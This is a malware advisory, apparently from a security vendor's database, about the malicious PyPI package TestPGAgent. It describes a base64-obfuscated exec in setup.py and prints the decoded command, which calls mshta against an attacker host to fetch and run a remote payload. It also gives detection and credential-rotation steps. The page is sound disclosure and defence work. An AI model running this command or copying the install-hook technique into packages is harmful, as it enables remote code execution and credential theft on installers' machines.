TestPGAgentPyPI
Advisory published Updated
TestPGAgent is a confirmed malicious PyPI package (MAL-2026-5824) that steals credentials and exfiltrates sensitive data (malicious versions 0.1, 0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in testpgagent (PyPI)
What this malware does
On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
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Downloads and executes a remote executable.
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obfuscation
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malware
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tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for TestPGAgent (2 malicious versions).
If you installed it — respond
TestPGAgent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If TestPGAgent was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks TestPGAgent-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.